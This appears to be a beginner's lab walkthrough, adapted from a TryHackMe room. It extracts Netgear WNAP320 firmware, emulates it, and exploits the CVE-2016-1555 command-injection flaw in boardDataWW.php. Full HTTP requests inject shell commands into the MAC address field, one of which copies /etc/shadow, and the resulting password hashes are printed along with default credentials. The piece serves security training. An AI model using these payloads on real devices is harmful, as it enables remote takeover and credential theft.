Exploiting CVE-2016-1555 in Netgear WNAP320 Firmware Version 2.0.3 for Remote Command Execution
This post is derived by THM room, Intro to IoT Pentesting created by MrSeth6797. Shout-out to his great work!!
A beginner friendly walkthrough for internet of things (IoT) pentesting
A little theory
What is firmware?
A firmware is a small piece of software that makes hardware work and do what its manufacturer intended it to do. Without it the devices we use wouldn’t work.
How to obtain it?
These are the main ways of obtaining the firmware:
- Obtaining it from the vendor’s website
- Googling it
- Reversing the mobile application
- Sniffing the OTA (over the air) update mechanism
- Dumping it from the device
Where was this firmware used?
The firmware we are about to analyze was used by Netgear for a few of their AP (access point) products. Besides that, the vulnerability affected multiple firmwares. You can take a look at them here: CVE-2016-1555.
Unpacking the firmware
The firmware we are going to use is from NetGear and was used for Access Points (now it’s been superceded by another version). In case you want to download it locally on your machine this is the download link: http://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip
If you access the Desktop folder, you should see the firmware zip archive. Let’s unzip the archive.
iot@iot:~/Desktop$ ls
firmware-analysis-toolkit WNAP320 Firmware Version 2.0.3.zip
iot@iot:~/Desktop$ unzip WNAP320\ Firmware\ Version\ 2.0.3.zip
Archive: WNAP320 Firmware Version 2.0.3.zip
inflating: ReleaseNotes_WNAP320_fw_2.0.3.HTML
inflating: WNAP320_V2.0.3_firmware.tar
iot@iot:~/Desktop$ tar -xf WNAP320_V2.0.3_firmware.tar
iot@iot:~/Desktop$ ls
firmware-analysis-toolkit root_fs.md5 WNAP320 Firmware Version 2.0.3.zip
kernel.md5 rootfs.squashfs WNAP320_V2.0.3_firmware.tar
ReleaseNotes_WNAP320_fw_2.0.3.HTML vmlinux.gz.uImage
The file that interests us the most is “rootfs.squashfs”. Let’s use binwalk to extract the filesystem as follows:
iot@iot:~/Desktop$ binwalk -e rootfs.squashfs
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Squashfs filesystem, big endian, lzma signature, version 3.1, size: 4433988 bytes, 1247 inodes, blocksize: 65536 bytes, created: 2011-06-23 10:46:19
iot@iot:~/Desktop$ ls
firmware-analysis-toolkit root_fs.md5 vmlinux.gz.uImage
kernel.md5 rootfs.squashfs WNAP320 Firmware Version 2.0.3.zip
ReleaseNotes_WNAP320_fw_2.0.3.HTML _rootfs.squashfs.extracted WNAP320_V2.0.3_firmware.tar
As you can see, it dropped another folder named “_rootfs.squashfs.extracted”.
Take a look inside the folder.
What it looks like?
It looks like linux filesystems.
If you go into /home/www you’ll find the web application that is used.
iot@iot:~/Desktop$ cd _rootfs.squashfs.extracted/
iot@iot:~/Desktop/_rootfs.squashfs.extracted$ ls
0.squashfs squashfs-root
iot@iot:~/Desktop/_rootfs.squashfs.extracted$ cd squashfs-root/
iot@iot:~/Desktop/_rootfs.squashfs.extracted/squashfs-root$ ls
bin dev etc home lib linuxrc proc root sbin tmp usr var
iot@iot:~/Desktop/_rootfs.squashfs.extracted/squashfs-root$ cd home/www && ls
background.html common.php include packetCapture.php thirdMenu.html
BackupConfig.php config.php index.php recreate.php thirdMenu.php
boardDataNA.php data.php killall.php redirect.html titleLogo.php
boardDataWW.php downloadFile.php login_button.html redirect.php tmpl
body.php getBoardConfig.php login_header.php saveTable.php UserGuide.html
button.html getJsonData.php login.php siteSurvey.php
checkConfig.php header.php logout.html support.link
checkSession.php help logout.php templates
clearLog.php images monitorFile.cfg test.php
Attacking the application
The next step would be analyzing each php file to try to find a vulnerability. I’ll save you that time, and we’ll take a look at “boardDataWW.php”. This file contains a Command Execution vulnerability. The piece of code that we are interested is this:
<?php
$flag=false;
$msg='';
if (!empty($_REQUEST['writeData'])) {
if (!empty($_REQUEST['macAddress']) && array_search($_REQUEST['reginfo'],Array('WW'=>'0','NA'=>'1'))!==false && ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)!==false) {
//echo "test ".$_REQUEST['macAddress']." ".$_REQUEST['reginfo'];
//exec("wr_mfg_data ".$_REQUEST['macAddress']." ".$_REQUEST['reginfo'],$dummy,$res);
exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);
if ($res==0) {
conf_set_buffer("system:basicSettings:apName netgear".substr($_REQUEST['macAddress'], -6)."\n");
conf_save();
$msg = 'Update Success!';
$flag = true;
}
}
else
$flag = true;
}
?>
The vulnerable function is the exec() one. The exec() function executes an external program without displaying the information (basically it’s a blind command execution).
Time to emulate the system. For this task we’ll use FAT(firmware analysis toolkit). FAT is based on Firmadyne (FIRMADYNE is an automated and scalable system for performing emulation and dynamic analysis of Linux-based embedded firmware) with some changes. Firmadyne uses a PostgreSQL database to store information about the emulated images. However for the core functionality PostgreSQL is not really needed. Hence FAT doesn’t use it.
Elevate your shell and copy rootfs.squashfs to firmware-analysis-toolkit folder and change the owner of the file to root.
iot@iot:~/Desktop$ sudo -s
[sudo] password for iot:
root@iot:~/Desktop# cp rootfs.squashfs firmware-analysis-toolkit/ ; cd firmware-analysis-toolkit/ ; chown root:root rootfs.squashfs ; ll
total 4388
drwxr-xr-x 6 root root 4096 aug 7 06:20 ./
drwxr-xr-x 4 iot iot 4096 aug 7 06:04 ../
drwxr-xr-x 7 root root 4096 iun 16 13:51 binwalk/
-rw-r--r-- 1 root root 107 iun 16 13:52 fat.config
-rwxr-xr-x 1 root root 5639 iun 16 13:50 fat.py*
drwxr-xr-x 11 root root 4096 iun 16 13:53 firmadyne/
drwxr-xr-x 8 root root 4096 iun 16 13:50 .git/
-rw-r--r-- 1 root root 1069 iun 16 13:50 LICENSE
drwxr-xr-x 3 root root 4096 iun 16 13:52 qemu-builds/
-rw-r--r-- 1 root root 5428 iun 16 13:50 README.md
-rwxr-xr-x 1 root root 734 iun 16 13:50 reset.py*
-rwx------ 1 root root 4435968 aug 7 06:20 rootfs.squashfs*
-rwxr-xr-x 1 root root 1673 iun 16 13:50 setup.sh*
Now, let’s kick off fat (firmware analysis toolkit) and emulate the system.
root@iot:~/Desktop/firmware-analysis-toolkit# ./fat.py rootfs.squashfs
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: rootfs.squashfs
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('brtrunk', '192.168.0.100')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
[+] Command line: /home/iot/Desktop/firmware-analysis-toolkit/firmadyne/scratch/1/run.sh
Creating TAP device tap2_0...
Starting firmware emulation... use Ctrl-a + x to exit
tryhackme123!
[ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[ 0.000000]
[ 0.000000] LINUX started...
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[ 0.000000] FPU revision is: 00739300
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 00001000 @ 00000000 (reserved)
[ 0.000000] memory: 000ef000 @ 00001000 (ROM data)
[ 0.000000] memory: 0061e000 @ 000f0000 (reserved)
[ 0.000000] memory: 0f8f1000 @ 0070e000 (usable)
[ 0.000000] debug: ignoring loglevel setting.
[ 0.000000] Wasting 57792 bytes for tracking 1806 unused pages
[ 0.000000] Initrd not found or empty - disabling initrd
[ 0.000000] Zone PFN ranges:
[ 0.000000] DMA 0x00000000 -> 0x00001000
[ 0.000000] Normal 0x00001000 -> 0x0000ffff
[ 0.000000] Movable zone start PFN for each node
[ 0.000000] early_node_map[1] active PFN ranges
[ 0.000000] 0: 0x00000000 -> 0x0000ffff
[ 0.000000] On node 0 totalpages: 65535
[ 0.000000] free_area_init_node: node 0, pgdat 806aa3c0, node_mem_map 81000000
[ 0.000000] DMA zone: 32 pages used for memmap
[ 0.000000] DMA zone: 0 pages reserved
[ 0.000000] DMA zone: 4064 pages, LIFO batch:0
[ 0.000000] Normal zone: 480 pages used for memmap
[ 0.000000] Normal zone: 60959 pages, LIFO batch:15
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65023
[ 0.000000] Kernel command line: root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0
[ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
[ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
[ 0.000000] Primary instruction cache 2kB, VIPT, 2-way, linesize 16 bytes.
[ 0.000000] Primary data cache 2kB, 2-way, VIPT, no aliases, linesize 16 bytes
[ 0.000000] Writing ErrCtl register=00000000
[ 0.000000] Readback ErrCtl register=00000000
[ 0.000000] Memory: 252428k/254916k available (4260k kernel code, 2252k reserved, 1549k data, 220k init, 0k highmem)
[ 0.000000] Hierarchical RCU implementation.
[ 0.000000] NR_IRQS:256
[ 0.000000] CPU frequency 200.00 MHz
[ 0.000000] Console: colour dummy device 80x25
[ 0.004000] Calibrating delay loop... 890.88 BogoMIPS (lpj=1781760)
[ 0.092000] Mount-cache hash table entries: 512
[ 0.104000] NET: Registered protocol family 16
[ 0.116000] bio: create slab <bio-0> at 0
[ 0.120000] vgaarb: loaded
[ 0.120000] SCSI subsystem initialized
[ 0.124000] libata version 3.00 loaded.
[ 0.124000] usbcore: registered new interface driver usbfs
[ 0.128000] usbcore: registered new interface driver hub
[ 0.132000] usbcore: registered new device driver usb
[ 0.136000] pci 0000:00:00.0: reg 14 32bit mmio pref: [0x1000000-0x1ffffff]
<snip><snip>....<snip>
Starting Translator... [nmbd_tr]
Starting Translator... sh: cannot create /proc/sys/net/bridge/bridge-http-redirect-flush-mac: nonexistent directory
sh: cannot create /proc/sys/net/bridge/bridge-http-redirect-enabled: nonexistent directory
[http_redirect_tr]
Starting Translator... [dhcp]
Starting Translator... kill: cannot kill pid 634: No such process
[ntp]
Starting Translator... [timezone]
Starting Translator... [sc_radio]
kill: cannot kill pid 647: No such process
Error in opening the device.
: No such device
System initilization is .. [DONE...]
Welcome to SDK.
Have a lot of fun...
netgear123456 login: [ 24.576000] brtrunk: port 1(eth0) entering forwarding state
[ 29.916000] eth0: no IPv6 routers present
[ 29.952000] brtrunk: no IPv6 routers present
Welcome to SDK.
Have a lot of fun...
netgear123456 login: root
Password:
main-loop: WARNING: I/O thread spun for 1000 iterations
[root@netgear123456 /root]# id && hostname
uid=0(root) gid=0(root)
netgear123456
Take note to the IP that is outputted (usually is 192.168.0.100) and press enter to continue the emulation.
Once the emulation is done, create a port forward on your machine (the attacker machine) using SSH as follows:
fesal@kali:~# ssh -N iot@10.10.150.11 -L 8081:192.168.0.100:80
iot@10.10.150.11's password:
Now, if you access http://localhost:8081 you should be able to access the web application login page (it’s a NetGear AP).
The default credentials are admin:password.
Once logged in, change the url to http://localhost:8081/boardDataWW.php. In the MAC Address field add some junk data, for example I added 998877665544, submit it, intercept it using BurpSuite and forward it to the Repeater.
For the PoC I pinged the localhost:
POST /boardDataWW.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/boardDataWW.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
DNT: 1
Connection: close
Cookie: PHPSESSID=7162c54a62699b5dfb327461fe8f9710
Upgrade-Insecure-Requests: 1
macAddress=998877665544;ping+-c+10+127.0.0.1+#®info=0&writeData=Submit
You’ll notice a delay, which means the application is vulnerable to Command Execution. Let’s copy the shadow file:
POST /boardDataWW.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/boardDataWW.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
DNT: 1
Connection: close
Cookie: PHPSESSID=7162c54a62699b5dfb327461fe8f9710
Upgrade-Insecure-Requests: 1
macAddress=998877665544;cp+/etc/shadow+.+#®info=0&writeData=Submit
Let’s request the shadow file:
fesal@kali:~# curl http://localhost:8081/shadow
root:$1$w3gB6MCu$F7n/OBgTalHP0u5O82RhV0:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
admin:$1$x1GxPahw$/XD/2CcBwLurY1./Du7x21:10933:0:99999:7:::
Congrats, you have successfully attacked your first IoT system.